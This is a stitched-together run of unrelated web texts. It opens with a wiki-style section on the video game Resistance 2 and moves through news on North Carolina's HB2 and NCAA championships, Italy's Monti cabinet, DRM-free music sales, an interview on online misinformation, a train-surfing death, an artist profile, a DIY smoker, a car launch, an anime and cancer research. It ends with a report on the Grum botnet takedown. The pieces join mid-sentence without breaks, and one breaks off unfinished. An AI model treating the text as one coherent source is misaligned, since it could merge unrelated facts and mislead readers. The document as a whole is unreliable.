The primary characters are Colonel Grant Thompson and Doctor Cassandra "Cassie" Aklin (Katee Sackhoff, and is also the protagonist; with all written and recorded content either directed towards or generated by Aklin so far), but other characters, civilian, military, or otherwise were mentioned. The other main characters are seven soldiers who volunteered for the project from different army units, all brought together at the Project Abraham Compound in Alaska (the specific location is classified). The test subjects include Captain Frank Anthony Gennaro, 1st Lieutenant Glenn Albert Khaner, Lieutenant Kenneth Danby, Sergeant Channing Brown, Sergeant Keith Todd Oster, Sergeant Nathan Hale and Private, later Corporal, Joseph Evan Capelli.
Apart from the project itself, the files and videos reveal the personal situation with the project's personnel; the soldiers, willing to endure the possibility of death, have detailed history, military careers, and personality profiles (collected by Aklin), which is often reflected in their actions towards others. More information about Hale's history, family, and military career are revealed as well, along with allusions to a romantic relationship between Hale and Cassie.
Other websites [ edit ]
A second website named America first America only is the website of an organization called the "Alliance For American Autonomy". The Alliance is a group of radicals bent on exposing the U.S. Government and its secrets to the public. The site shows a small dark area with a printing press, and an office containing a news board, news clippings, the alliances newsletter/paper, file cabinets, and a "tip box". The Alliances newsletter/paper is published every Friday. When a new article is posted the old ones are stored in the file cabinets for reference and can be viewed at any time. The newsletter/paper gets most of its information from "agents," people who have submitted SrpaNet codes through the Tip Box. A recent update for the site has seemed to have ransacked the area and shows a letter that seems to have been written in a hurry. The latest updates show a typewriter with various American cities listed on it. When a "dead-drop" has been reported in a city, fans may go to the given location to retrieve a canvas bag containing a personal item of one of the Project Abraham participants, a compass, a SRPA T-shirt, and a card listing a serial number. This serial number is used to unlock two comic panels at the second new addition to the AFAO website, Metastasis.
A third website named Get A War Job has been discovered and can be accessed directly from Project Abraham. On the site a typewriter is shown along with pro and anti-war posters, cards, pamphlets, and a document which the player can fill out and possibly cause events to happen in the future such as a phone call or further information about the site/sites. The business card to the left may be called, toll free, to hear an inspirational recruiting message for the military. The latest update for the site seems to have burned nearly everything in view and the registration form is no longer available.
A fourth website named SrpaNet has also been discovered. It is an old computer interface used by the Project Abraham staff and the U.S. Government. So far hidden and overt serial codes, found in various places on Project Abraham, have led to hidden documents and images relating to the Chimera and what is known about them.
Collector's Edition [ edit ]
The collector's edition includes a hardcover art book, special cover art, an in-game weapon skin (a Chimeran HVAP Wraith called the Brute Minigun, the same kind Ravagers use), and an action figure of the game's "Hybrids", the Chimera.[4] It also includes a bonus Blu-ray Disc with a behind-the-scenes featurette, a video detailing the game's alternate historical timeline, a digital copy of issue #0 of the Resistance comic book, and a preview from the upcoming Resistance novel "The Gathering Storm". The collector's edition was only sold in North America, and not in Europe due to the hassle of translating each aspect of the Collector's Edition to the various main languages in the continent, such as English, French, Spanish etc. as said by SCEE in a Press Conference prior to the game's release. The Collector's Edition Blu-ray also contains a hidden Easter Egg which can be accessed by watching the "scale" featurette, pressing Left on the arrow keys upon returning to the menu, and then pressing right.
PlayStation Home [ edit ]
On March 26, 2009, Insomniac Games released a Resistance 2 SRPA suit for the male avatars. The SRPA suit is purchasable in Home's shopping complex.
On May 21, 2009, Insomniac Games released a dedicated space for Resistance 2 in the PlayStation 3's online community-based service, PlayStation Home in the Asian, European, and North American versions.[5] The space is called the "Resistance Station" and is modeled after the Chicago level in Resistance 2 and features a video screen showing the trailers for Resistance 2 (Asian Home) and Resistance: Retribution (North American Home) as well as a mini game titled 'Four Barrels of Fury' in which users takes control of a turret that appears as a turret version of the game's HVAP Wraith. The player must shoot down incoming Chimeran ships varying in size. The game is divided into waves. The player must shoot down ships for points. Occasionally the player must defend 2 incoming VTOL transports one carrying health the other carrying modified ammo. If the VTOLs are defended the player's turret is repaired and the damage dealt by the turret's shots will be strengthened as long as the ammo lasts. There are three different rewards for reaching a certain wave or score in the mini-game. The first reward is a male and female Resistance 2 T-shirt for beating Wave 4. If users beat Waves 1 to 4 with a score of 100% on each wave, they get a hat that is modeled after the Chimeran flagship in Wave 4 and if users obtain a score of 1,000,000, they get a male and female Resistance 2 hoodie. For a limited time in the European Home, in the place of where the video screen is in the Asian and North American versions, there was a poster with a promotional code on it. The first 3,000 users that redeemed the code received a male and female Resistance: Retribution T-shirt. The trailer for Resistance: Retribution has replaced the poster. This space was released to the Japanese version on September 10, 2009. Outso developed the Resistance 2 Game Space for Insomniac Games.[6]
In addition to the space, users can fully game launch into Resistance 2. Game launching lets users set up a competitive or co-op game in Home, have people join the game, then launch directly from Home into the game. Users can set up a competitive game of up to 32 players and up to 8 players for co-op.
Reception [ edit ]
Resistance 2 received "generally favorable reviews" according to the review aggregation website Metacritic.[7]
PlayStation Official Magazine – UK said the game was, as they would have liked, "prettier and shootier".[25] IGN in particular praised the game for its single player campaign and online multiplayer, as well as the scale and detail of the level design, stating that the bosses would "make your jaw drop."[19] Game Informer said that it wasn't as good as the original, "the slower movement is noticeable" and "the lack of a weapon wheel limits strategy," but praised the "absolutely gorgeous" graphics and the variety of multiplayer modes.[11] In Japan, Famitsu gave it a score of three eights and one nine for a total of 33 out of 40.[10]
411Mania gave it a score of 9.1 out of 10 and said that the game "has a lot to offer, and PlayStation 3 owners with an internet connection should not hesitate to pick this one up."[26] Wired gave it a score of nine stars out of ten and said, "While it gives players that quintessential amped-up FPS experience, it isn't doing anything especially innovative or new. The firefights are intense, the pacing will keep you on the edge of your seat and quite a few scenes prove absolutely breathtaking, but the game's chief strength is the story that binds it all together, and the multiplayer modes that should keep us amused for quite some time."[24] The A.V. Club gave it a B and said, "You can't argue with Resistance 2's robust feature set. But the once-relatable, ragtag protagonist Nathan Hale has been transformed into a generic square-jawed action hero, the kind who's been the subject of satire since 1991's Duke Nukem. Clearly Nathan isn't just battling the Chimeran virus; he's also suffering from a severe case of John McClane-itis."[23] However, Variety gave it an average review, calling it "a much improved but still significantly flawed sequel to the disappointing 2006 original. The massive, deep and accessible online multiplayer modes will appeal to a core group of fans, but the miserable single-player campaign leaves Resistance 2 as more of a party barge than the flagship Sony needs."[27]
Despite the widespread praise from critics, some fans were not as enthusiastic about the game, primarily complaining about the unnecessary changes and exclusions, as well as a not-so-appealing campaign mode, which also lacked the acclaimed local co-op. Senior community manager James Stevenson of Insomniac said that the game "was a failure" for the hardcore followers of the series and admitted that gamers's negative feedback had weighed on him. Insomniac stated that they would take this as a lesson for the development of its sequel.[28] Insomniac CEO Ted Price similarly accepted that some of the changes to the core mechanics of the franchise had surprised players and may have not been a good thing.[29]
Resistance 2 sold 598,000 units in North America through 2008,[30] 200,000 units in the United Kingdom,[31] and 58,432 in Japan,[32] which was about 409,270 copies worldwide in its debut week.[citation needed]
Sequel [ edit ]
Resistance 3 was officially announced at Sony's Gamescom 2010 press conference on August 17, 2010, after a billboard ad was spotted in Shreveport, Louisiana almost a year earlier. A trailer for the game was also shown during the conference. A trailer with gameplay was shown at the 2010 Spike Video Game Awards event on December 11, 2010. Resistance 3 was released on September 6, 2011.The NCAA has joined the ACC in putting North Carolina back in the running to host future championships after the 2016 ACC Football Championship, NCAA Tournament first-round games and several other championship events were pulled from the state because of House Bill 2 -- a law which critics, including the NCAA, believe is anti-LGBT.
North Carolina lawmakers voted Thursday to roll back HB2 and pass a compromise, House Bill 142, which brings its own controversy due to the inclusion of language that restricts new anti-discrimination ordinances from being created in cities and counties.
The ACC Council of Presidents voted Friday to put North Carolina back in the running for conference championships, and the NCAA announced Tuesday that the state will be considered for championship events in the 2018-22 cycle.
“We are actively determining site selections, and this new law has minimally achieved a situation where we believe NCAA championships may be conducted in a nondiscriminatory environment,” the statement read -- with a caveat. “If we find that our expectations of a discrimination-free environment are not met, we will not hesitate to take necessary action at any time.”
The NCAA acknowledged that while the repeal of HB2 and the passing of House Bill 142 brings the state up to standards for championship hosting, “The board remains concerned that some may perceive North Carolina’s moratorium against affording opportunities for communities to extend basic civil rights as a signal that discriminatory behavior is permitted and acceptable, which is inconsistent with the NCAA Bylaws.”
House Bill 142 prohibits local governments from enacting or amending local nondiscrimination ordinances through 2020, which lawmakers said, via WRAL, “would give time for federal lawsuits over transgender rights to be resolved.”
HB2, a law which was publicly criticized by North Carolina coach Roy Williams and Duke coach Mike Kzyzewski several times during the college basketball basketball season, included requirements for transgender people to use the bathroom that matches their birth certificate in schools and other government buildings and excludes gay and transgender people from discrimination protections by local governments.
Greensboro was set to host first- and second-round games of the NCAA Tournament this postseason but lost the games to Greenville, South Carolina, when the NCAA pulled seven championships out of the state citing the association’s values “of inclusion and gender equity.”
The NCAA championships previously awarded to North Carolina for 2017-18 will remain in the state.The emergency administration, which is meant to govern Italy until elections are due in 2013, is made up of bankers, lawyers and university professors but not a single elected official – an extraordinary development for a Western democracy.
But it is a deal that much of the electorate and nearly all the mainstream parties have signed up to, in order to save Italy from the economic abyss by trimming the country's bloated bureaucracy, slashing its 1.9 trillion euro debt and unleashing its economic potential after years of stagnation.
Almost none of the new appointees was familiar to the average man or woman in the street – a fact that some Italians hailed as the new administration's chief strength, saying it was above party politics and untainted by any links to the discredited centre-Right government of Silvio Berlusconi or the weak and divided centre-Left opposition. Italy has a track record of appointing 'technical' governments during periods of political paralysis and party deadlock.
Mr Monti said that after talks with the country's big parties, he had decided that "the non-presence of politicians in the government would help it."
He and his ministers were sworn in at a ceremony at the Quirinale Palace, a former papal residence that is now used by Italy's presidents, bringing a formal end to Mr Berlusconi's three year government and the 17 years in which he dominated the country's political arena.
The new government's task is to implement a package of austerity measures and public spending cuts which were passed by parliament in the dying days of Mr Berlusconi's government.
Mr Monti, 68, nicknamed "Super Mario" for his intellect, diplomatic skills and 10-year record as a European competition commissioner, will double up as both prime minister and economy minister.
He said he hoped the new government would be able to restore market confidence in Italy and bring to an end a period of heightened political tension but added that "sacrifices" would be required of the Italian people.
The post of infrastructure and economic development – a crucial job as Italy tries to boost its anaemic growth as well as implement austerity cuts – went to Corrado Passera, the chief executive officer of one of Italy's biggest banks, Intesa SanPaolo.
The new foreign minister will be Giulio Terzi di Sant'Agata, the current ambassador to Washington.
The position of interior minister goes to one of three women in the new line-up: Anna Maria Cancellieri.
The justice minister – who will have jurisdiction over the four sex and corruption trials in which Mr Berlusconi is a defendant – will also be a woman, Paola Severino, a lawyer.
The defence portfolio went to Giampaolo Di Paola, a navy admiral who is currently Nato's top military officer.
The new administration, which replaces Mr Berlusconi's conservative coalition after he was forced to step down on Saturday, is expected to announce details of its reform programme on Thursday and will then face confidence votes in the two houses of parliament in order to show that it has sufficient support to push through the reforms.
The government has the support of most of Italy's political parties, apart from the powerful Northern League and elements of Mr Berlusconi's PDL party.
They have complained vociferously that he was forced to stand down not by a democratic process but by a "coup d'etat" engineered by Brussels, bankers and the financial markets.
Mr Berlusconi has said that he was not constitutionally obliged to resign, because the vote he lost in parliament last week was not a confidence vote, and that his decision to step down was an act of self-sacrifice and "responsibility".
Roberto Maroni, one of Mr Berlusconi's most senior former ministers, made an allusion to "The Italian Job", the 1969 British film starring Michael Caine.
"The truth is that there was a big operation, an 'Italian Job', to get Berlusconi out of the way by forcing him to resign", the former interior minister told a television programme on Tuesday.DRM-free music sells at a much higher rate online than protected music, according to UK-based digital music store 7 Digital. In fact, customers buy it four times as often as they do DRMed music. As a result, almost 80 percent of the store's sales are of DRM-free content. 7 Digital may not sound familiar to some, but it carries over 3 million songs and has many selections from major artists in addition to independent labels.
"MP3 is the only truly interoperable format that works with the iPod, most mobile phones (including the iPhone) and all MP3 players," said 7 Digital's Ben Drury in a statement. "Consumers are a lot savvier than some people think."
The availability of DRM-free music is not only good for track sales, it's doing favors for full album sales too. 7 Digital said that customers buying unprotected music are more likely to buy albums than those buying music with DRM, with some 70 percent of MP3 sales being part of full album downloads.
This should come as good news to the music industry, which has long seen album sales suffer since the proliferation of music stores that allow customers to cherry-pick tracks (which includes pretty much every music store these days). Music labels have been trying to come up with incentives to entice customers to buy more at a time, such as offering exclusive content that only comes with an album purchase. Some artists still stand by the album format, too, at the risk of selling fewer tracks overall. Hip hop artist Jay-Z recently made a decision to withhold his most recent album, American Gangster, from the iTunes Store because he didn't want the tracks to be sold individually.
So far, EMI is the only major music label to fully embrace DRM-free music sales. EMI now sells its music without copy protection on any music store that wants to participate, which includes the iTunes Store and Amazon's music store. Universal is still experimenting with DRM-free downloads on select music stores, but otherwise Sony BMG and Warner are still slow to catch up. With news like this, though, they might be more likely to give DRM-free music a try.In the run up to the 2013 Italian elections, a social media post exposing the corruption of parliament went viral. Italian politicians were quietly certain that, win or lose, they would be financially secure by taking money from the taxpayer. Parliament had quietly passed a special welfare bill specially designed to protect policy-makers by ensuring them an incredible unemployment package should they lose their seat in the upcoming election. The bill, proposed by Senator Cirenga, allocated an amazing €134 billion to political unemployment. The Italian Senate had voted 257 in favour and 165 in abstention.
The post caused considerable and understandable uproar. It was covered in several leading newspapers and cited by mainstream political organizations. But there was one problem: the entire story was fake. Not even a good fake at that. For those interested in Italian politics, there were a number of obvious problems with the story. First of all, there is no Senator Cirenga. The number of votes doesn't work either, because Italy doesn't even have that many senators. And the incredible sum would have accounted for roughly 10% of Italy's GDP.
So what happened? How did such an obvious fake fool so many people?
Walter Quattrociocchi, the head of the Laboratory of Computational Social Science at IMT Lucca in Italy, has been studying the phenomenon of misinformation online. His work helped to inform the World Economic Forum’s latest Global Risks Report. We spoke with him to find out more.
Why is this happening?
Before the web, you got your information from magazines, television and the newspapers. Now anyone can create a blog, have a Tumblr page or post their opinions online. From there, you can spread that information rapidly through Twitter, Facebook and a whole smorgasbord of other social media platforms.
The problem is that while traditional media had editors, producers and other filters before information went public, individual publishing has no filter. You simply say what you want and put it out there.
The result is that everyone can produce or find information consistent with their own belief system. An environment full of unchecked information maximizes the tendency to select content by confirmation bias.
Recent studies that focus on misinformation online pointed out that the selective exposure to specific content leads to "echo chambers" in which users tend to shape and reinforce their beliefs.
What is an echo chamber?
An echo chamber is an isolated space on the web, where the ideas being exchanged essentially just confirm one another. It can be a space of likeminded people sharing similar political views, or a page about a specific conspiracy theory. Once inside one of these spaces, users are sharing information that is all very similar, basically "echoing" each other.
We have studied the dynamics inside a single echo chamber. What we found is that the most discussed content refers to four specific topics: environment, diet, health and geopolitics.
Content belonging to the different topics are consumed in a very similar way by users. Likes and shares remain more or less the same across topics.
If we focus on the comments section however, we notice a remarkable difference within topics. Users polarized on geopolitics are the most persistent in commenting, whereas those focused on diet are less persistent.
We also found that users "jump" from one topic to another. Once they begin to "like" something, they do this more and more, like a snowball effect. Once engaged in a conspiracy corpus, a user tends to join the overall conversation, and begins to "jump" from one topic to another. The probability increases with user engagement (number of likes on a single specific topic). Each new like on the same conspiracy topic increases the probability to pass to a new one by 12%.
What kind of rumours are spreading?
Pages about global conspiracies, chem-trails, UFOs, reptilians. One of the more publicized conspiracies is the link between vaccines and autism.
These alternative narratives, often in contrast to the mainstream one, proliferate on Facebook. The peculiarity of conspiracy theories is that they tend to reduce the complexity of reality. Conspiracy theories create (or reflect) a climate of disengagement from mainstream society and from officially recommended practices - e.g. vaccinations, diet, etc.
Among the most fascinating social dynamics observed is trolling. Before, trolls were mainly people who just wanted to stir up a crowd, but the practice has evolved. Trolls today act to mock the "believe anything" culture of these echo-chambers. They basically attack contradictions through parody.
Trolls’ activities range from controversial and satirical content to the fabrication of purely fictitious statements, heavily unrealistic and sarcastic. For instance, conspiracist trolls aggregate in groups and build Facebook pages as a caricature of conspiracy news. A recent example was a fake publication of "findings" that showed chemtrails had traces of viagra in them.
What makes their activity so interesting is that, quite often, these jokes go viral and end up used as evidence in online debates from political activists.
How have you been studying this phenomenon?
On Facebook, likes, shares, and comments allow us to understand social dynamics from a totally new perspective. Using this data, we can study the driving forces behind the diffusion and consumption of information and rumours.
In our study of 2.3 million individuals, we looked at how Facebook users consumed different information at the edge of political discussion and news during the 2013 Italian elections. Pages were categorized, according to the kind of content reported on.
1. Mainstream media
2. Online political activism
3. Alternative information sources (topics that are neglected by science and mainstream media)
We followed 50 public pages and their users’ interactions (like, comments and shares) for six months.
Each action has a particular meaning. A like gives positive feedback; a share expresses the will to increase the visibility; and comments expand the debate.
What we found was that neither a post’s topic nor its quality of information had any effect on the outcome. Posts containing unsubstantiated claims, or about political activism, as well as regular news, all had very similar engagement patterns.
So people are reacting to posts based on their beliefs, regardless of where those posts originated from?
Exactly. It's not that people are reacting the same way to all content, but that everyone is agreeing within their specific community.
People are looking for information which will confirm their existing beliefs. If today an article comes out from the WHO supporting your claims, you like it and share it. If tomorrow a new one comes out contradicting your claims, you criticise it, question it.
The results show that we are back to "echo chambers", there is selective exposure followed by confirmation bias.
To verify this, we performed another study, this time with a sample of 1.2 million users. We wanted to see how information related to very distinct narratives - i.e. mainstream scientific and conspiracy news - are consumed and shaped by communities on Facebook.
What we found is that polarized communities emerge around distinct types of content and consumers of conspiracy news tend to be extremely focused on specific content.
Users who like posts do so on the pages of one specific category 95% of the time. We also looked at commenting, and found that polarized users of conspiracy news are more focused on posts from their community. They are more prone to like and share posts from conspiracy pages.
On the other hand, people who consume scientific news share and like less, but comment more on conspiracy pages.
Our findings indicate that there is a relationship between beliefs and the need for cognitive closure. This is the driving factors for digital wildfires.
Does that mean we know what will go viral next?
Viral phenomena are generally difficult to predict. This insight does allow us to at least understand the users that are more prone to interact with false claims.
We wanted to understand if such a polarization in the consumption of content affects the structure of the user's friendship networks. In another study, Viral Misinformation: The role of homophily and polarization we found that a user’s engagement in a specific narrative goes hand in hand with the number of friends having a similar profile.
That provides an important insight about the diffusion of unverified rumours. It means that through polarization, we can detect where misleading rumours are more likely to spread.
But couldn’t we combat that by spreading better information?
No. In fact, there is evidence that this only makes things worse.
In another study, we found that people interested in a conspiracy theory are likely to become more involved in the conversation when exposed to "debunking". In other words, the more the exposure to contrasting information a person is given, the more it reinforces their consumption pattern. Debunking within an echo chamber can backfire, and reinforce people’s bias.
In fact, distrust in institutions is so high and confirmation bias so strong, that the Washington Post has recently discontinued their weekly debunking column.
What can be done to fight misinformation?
Misinformation online is very difficult to correct. Confirmation bias is extremely powerful. Once people have found "evidence" of their views, external and contradicting versions are simply ignored.
One proposal to counteract this trend is algorithmic-driven solutions. For example, Google is developing a trustworthiness score to rank the results of queries. Similarly, Facebook has proposed a community-driven approach where users can flag false content to correct the newsfeed algorithm.
This issue is controversial, however, because it raises fears that the free circulation of content may be threatened and the proposed algorithms might not be accurate or effective. Often users denounce attempts to debunk false information, such as the link between vaccination and autism, as acts of misinformation.
The Global Risks Report 2016 is available here.
Reporting by Donald ArmbrechtJohannesburg - A 19-year-old boy has become the latest statistic of the train-surfing scourge in and around Joburg. The matric pupil died on Tuesday when his daredevil stunt of leaping in and out of a moving train went horribly wrong.
Known only as Loyiso, he was on his way to Orlando High School when the train surfing stunt turned fatal.
“He was jumping in and out when he unfortunately slipped and fell in between the platform and the train onto the tracks at Chiawelo railway station. He had multiple injuries,” said Johannesburg Emergency Management Services spokesman Robert Mulaudzi.
“It was a group of boys surfing, and unfortunately one of them fell onto the tracks and his head was chopped off,” he said.
Authorities, notably Metrorail, have over the years been grappling with the problem of train surfing, which has become a popular pastime among young people.
Such has been its appeal among the youth that some of them have bonded into rival groups to compete against one another.
To others, it’s
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weird designs: stop!
PT: What can we expect to see from Alchemy in the near future? What projects do you have in the pipeline?
PC: We have just four books due in 2016, three to be launched at FantasyCon, including work by Adrian Tchaikovsky and a project that involves various writers completing notes left by the late Joel Lane. Our first title this year is the Jessica Salmonson book, The Complete Epistles of Penelope Pettiweather.
PT: Finally, if money was no object, what would be your dream project?
PC: I have a passion for non-themed Fantasy anthologies. I would love to edit and produce one annually and pay professional rates. The obvious examples are those edited by Mark Morris and Stephen Jones, but I wouldn't focus on just horror. I would include good Fantasy of all colours - in the tradition of Weird Tales, Unknown Worlds and The Magazine of Fantasy and Science Fiction. Do you know anyone with spare cash to invest?Last week, Women’s Voices for Change posted Part 1 of an article written after a visit with Grace Graupe-Pillard in her New York apartment. Grace is an artist whose art practice includes making drawings, paintings, photographs, installations, videos, Internet-based artwork, and large public sculptures. She lives and works in New York City and in a converted synagogue in Keyport, New Jersey, with her husband, Stephen.
Grace Graupe-Pillard standing in front of Self-Portrait as a Blond with Grace, 2012, Oil and Alkyd on Canvas, 90 x 65 in.
Grace Graupe-Pillard has always been interested in using the human body in her artwork. She learned to draw and paint the human figure by spending four years at the Art Students League of New York doing figure studies. Grace’s earliest professional artworks are larger-than-life oil paintings of nudes and portraits that were painted in the 1970s and 1980s. She is currently working on a large nude painting of herself, which will complete a triptych of three self-portraits.
But not all of Grace’s artwork is about the nude figure. Over time, Grace’s paintings, composite photographs, and other artworks have developed to include a wide range of personal and politically charged images, fragmentation of the picture plane, the juxtaposition of symbols inside of human silhouettes and keyholes, and cutout paintings. The names of her series reflect Grace’s interest in how our vision is framed as we look at the world around us through different perspectives: Silhouette (1988-1993), Nowhere to Go-One Family’s Experience (1991-93), Keyhole (1994-97), and Manipulation-Film (1999-2001).
Installation view of Nowhere to Go- One Family’s Experience, 1991-93
All of Grace’s work is daring, honest and from the heart. One of her most beautifully personal series is based on the family history of her German -Jewish refugee parents during the Holocaust and the impact that history has had on Grace. Grace explores her family history through ten cutout paintings with pastel and a video, Nowhere to Go-One Family’s Experience, 2009.
The paintings were started when Grace’s father became seriously ill while in the process of working on a family tree. Grace’s parents helped her create the artwork by translating old letters for her from German, showing her family photographs and sharing their painful memories of Nazi Germany. With her parents’ help, Grace was able to incorporate the names of more than seventy relatives who died during the Holocaust in a moving tribute to their loss. Among the dead are Grace’s paternal grandparents. The artwork took almost four years to complete.
Waiting for Food, 2005, Oil and Alkyd on Canvas, 54 x 90 in. from the Manipulation/Disintegration/Displacement Series
Camp Delta-Guantanamo Bay at Night, 2007, Oil and Alkyd on Canvas, 65 x 90 in. from the Manipulation/Disintegration/Displacement Series
Grace’s family background helps to explain her more recent politically charged paintings. Grace is obsessed with the victims of political injustice and war. In an ongoing series Manipulation/Disintegration/Displacement, Grace paints refugees, prisoners of war, bombs, tanks, soldiers, and places like Darfur, Afghanistan, Gaza City, Rwanda, and Camp Delta/Guantanamo Bay.
To create these paintings, Grace takes an image from popular media, scans it into her computer when necessary, stylizes it using filters in Photoshop until the image is reduced to flat areas of color, and then paints the altered images with brightly colored paint on canvas or wooden supports. The result is a semi-abstracted image that has been sanitized and repackaged as a colorfully seductive painting, but the disturbing content is still present and can still be deciphered.
Mingora, 2010, Oil and Alkyd on Canvas, 69 x 96 in. from the Desecrated Landscapes Series
Grace uses the same technique in her series Desecrated Landscapes, 2010-12, and Disturbance Paintings, 2008-09. The Desecrated Landscapes are paintings of majestic landscapes that have been ravaged by war. And the Disturbance Paintings are stylized paintings of victims of war painted on solid-color backgrounds.
Brooklyn Bridge, 2005, Pigment Print, 22 x 30 in. from the Interventions Series-It Can’t Happen Here
Cops 23rd Street Park, 2005, Digital C-Print, 23 x 30 in. from the Interventions Series-It Can’t Happen Here
In a series called Interventions-It Can’t Happen Here, Grace uses the painted figures from the Disturbance Paintings, cut out from their backgrounds in Photoshop, and incorporates them into photographs that she has taken around her homes in New Jersey and New York City. The places depicted in the photographs all look familiar, and retain their photo-realistic appearance. The painted figures are carefully integrated into the photographs using Photoshop. The composite photographs bring images of war and destruction from faraway countries and transplant them to America. Grace wants Americans to be aware of and take responsibility for the acts of violence and destruction that their country is engaged in throughout the world.
Grace has always invented her own artistic techniques to achieve the visual results she has in mind. Before personal computers, Grace was, literally, cutting and pasting her images by hand and inventing elaborate and quirky ways to reassemble them in the darkroom. Now she uses flip cameras (low-tech video cameras), a computer, Photoshop, and Final Cut Express (a video editing program).
While new media has made it a lot easier for Grace to manipulate images, she still uses technology in her own unconventional way. She videos herself in motion and takes screen shots of frozen images in order to find the right body position for her nude composite photographs. After two knee replacements, Grace developed this video technique because it was impossible for her to hop around and hold the physically challenging positions for long enough to be photographed. She discovered that it was easy to put a video camera on a tripod, switch it on and start moving. She can capture thousands of positions in a few minutes of video. And she works without an assistant.
WVFC asked Grace what she would wish for herself in the future, if she had three wishes. Grace answered immediately that she would like to show her three nude self-portraits together at a museum or gallery. She would like to make really big prints of her Grace Delving into Art composite photographs and also experiment with projecting the images with multiple projectors on a larger than life scale simultaneously in a darkened room. And she would like to be represented by a gallerist in New York City or internationally who is really passionate about her work and interested in showing good work, regardless of an artist’s age or art-world status.
“That’s all,” Grace concluded. “My work has never really been about the art market, although I have made money selling my work and creating public artworks. My work is about examining life and learning. And, of course, communicating. I love to share!”The first step (after prowling the web) was assembling the kit of parts. Here they are, arrayed on my front porch:
on the bottom step, the item I was most worried about finding, the single burner hot plate. The last time I saw something like that, it was an illegal object in my dorm room, in a time before the web. (Yes, I am OLD!) Most web authors claimed I'd need 1000 watts. I found a couple in on-line hardware stores and at Amazon, but for $20 plus shipping. (lower wattage ones were about $14) Since my target total expenditure is $60, and I found a commercial smoker for $38.40 at Home Depot, that was outta budget. But a local remainders store (Big Lots!) had one for $7.99, and another local low-rent chain (Reny's) had one for $9.99. This is a Maine adventure. I figured I needed to have the burner in hand to know the size of the base of the cooker, hoping to find a lot of variety in pots and other enclosures. So I started by spending 8 bucks at Big Lots! (yes, the! is part of the name)
In the middle, the cookery gear. I found a small saucepan for $2.99 at Christmas Tree Shops a and a "grilling skillet" with folding handle for $3.99. Without their handles, these looked just about right for the wood chips container and the food grill. Also in the middle is a candy/frying thermometer with a range of 100°F - 450°F ($6.99 from a local hardware store), a rubber stopper to hold it ($1.50) and a rubber washer to block the bottom hole. This turned out to be unnecessary in that role but handy in another. <br /> <br />On the top, the pottery. an azalea pot ($9.99) will be the base, and a bulb bowl ($6.99) will be the top. Yes, I made sure the top fit inside the base at the garden store. These are standard unglazed terra cotta pots, roughly 30 cm at the top, with 2.5 cm holes in the bottoms. They might be a bit small for the kind of cooking Phil wants to do, but I'm going to start here and see how it all goes. Oh yeah, the cute little feet were $1.99 each, but who could resist them, and they make a space for the heater cord. So sweet. <br />The Jensen name is set to return on an "officially sanctioned" model for the first time in 13 years.
The Jensen Group, a company spearheaded by former Aston Martin boss Tim Hearley, has produced a vehicle named the Jensen GT and is also working on a successor to the company's famous Interceptor model.
The GT has been revealed as a clay model so far, but the company has said it has been deliberately designed as a bridging model between the classic Jensens of the 1970s and the new model, which it intends to release in 2016.
The GT will be hand-built in small numbers, with the precise volume being dictated by demand. The pricing is not set in stone, because the company expects it to be affected by an individual customer's needs and desires, but is likely to be in the region of £350,000. These options are set to include variations on engine tuning and a choice of gearbox, but bespoke wishes will also be accommodated.
The first models are likely to be ready in early 2016, although a prototype version is currently under construction. Jensen says the GT will be a more performance-focused model than the old Interceptor, albeit with a "level of refinement above that of the average muscle car". It claims the retro element will be restricted to the styling, rather than the vehicle dynamics.
The second new model that will wear the Jensen name is the Interceptor 2 and is due for release in 2016. This will "take design cues from the classic Interceptor and will advance the concept of the original grand tourer, to provide a thoroughly modern and exciting vehicle", according to the company.
In the interim, the Jensen GT will be built under an agreement between the Jensen Group and Jensen International Automotive (JIA), a company that builds modified Interceptor R models.Black Clover TV anime additional cast revealed; airs October. A digital card game has also been announced.
“Asta and Yuno were abandoned together at the same church and have been inseparable since. As children, they promised that they would compete against each other to see who would become the next Emperor Magus. However, as they grew up, some differences between them became plain. Yuno was a genius with magic, with amazing power and control, while Asta could not use magic at all, and tried to make up for his lack by training physically. When they received their Grimoires at age 15, Yuno got a spectacular book with a four-leaf clover (most people receive a three-leaf-clover), while Asta received nothing at all. However, when Yuno was threatened, the truth about Asta’s power was revealed, he received a five-leaf clover Grimoire, a “black clover”! Now the two friends are heading out in the world, both seeking the same goal!“A breakthrough at the University of Virginia School of Medicine could help save cancer patients' lives.
Researchers at UVA discovered a specific protein that allows lung cancer cells to spread throughout the body.
“We basically took lung cancer cells and manipulated them in a way that they showed metastatic properties,” said Marty Mayo, associate professor in biochemistry and molecular genetics.
Metastatic disease is when cancer spreads to other parts of the body. Cells that are metastasizing are dangerous because they're much more resistant to normal treatments.
The research at UVA suggests Activin A as the specific protein secreted by cancer cells that allows the tumor to spread from the lungs to the liver, bone and brain.
“We mapped factors that control genes in the human genome. And we mapped the levels of expression of the genes, and we also overlapped that with a database of proteins that are secreted from the cells,” said Stefan Bekiranov. associate professor in biochemistry and molecular genetics. “Identifying this factor is like finding a needle in a haystack. There are about 20,000 genes in the human genome.”
The researchers believe that if they can stop Activin A from being released by the cancerous cells in the lungs, then the cancer wouldn't be able to metastasize and thus won't spread to other parts of the body.
“As we know, most patients die of metastatic disease, not of cancer and so this impacts not only lung cancer but potentially other solid tumors,” Mayo said.
Now, they're looking for pharmaceutical companies to team up with to create a drug that will only block Activin A. Right now, there are several drugs out there that do block Activin A, but they all block other helpful proteins too.
University of Virginia Press Release:On Wednesday, computer security experts took down Grum, the world’s third-largest botnet, a cluster of infected computers used by cybercriminals to send spam to millions of people. Grum, computer security experts say, was responsible for roughly 18 percent of global spam, or 18 billion spam messages a day.
Computer security experts blocked the botnet’s command and control servers in the Netherlands and Panama on Tuesday. But later that day, Grum’s architects had already set up seven new command and control centers in Russia and Ukraine. FireEye, a computer security company based in Milpitas, Calif., said it worked with its counterparts in Russia and with SpamHaus, a British organization that tracks and blocks spam, to take down those command and control centers Wednesday morning.
The researchers said they were able to vanquish the botnet by tracing Grum back to its servers and alerting Internet service providers to shut those computers down.
Technologists have taken the lead in combating digital crime rather than waiting for law enforcement authorities to act. Earlier this year, Microsoft employees assisted federal marshals in a raid on botnet servers in Pennsylvania and Illinois. Those servers were used by criminals to run Zeus, a botnet that siphoned people’s personal information, like online bank account passwords and credit card numbers, from infected computers. Almost simultaneously, a separate group of cybersecurity researchers in San Francisco were busy eliminating another botnet, called Kelihos.b, which was used to send spam.
While computer security companies are quick to publicize botnet takedowns, their gains tend to be temporary. The blocking of Kelihos.b lasted less than a week before a modified version of the botnet started infecting computers. Microsoft’s takedown of Waledac, another spam botnet in 2010, lasted only as long as the time it took its creators to modify its architecture slightly and create a new botnet.
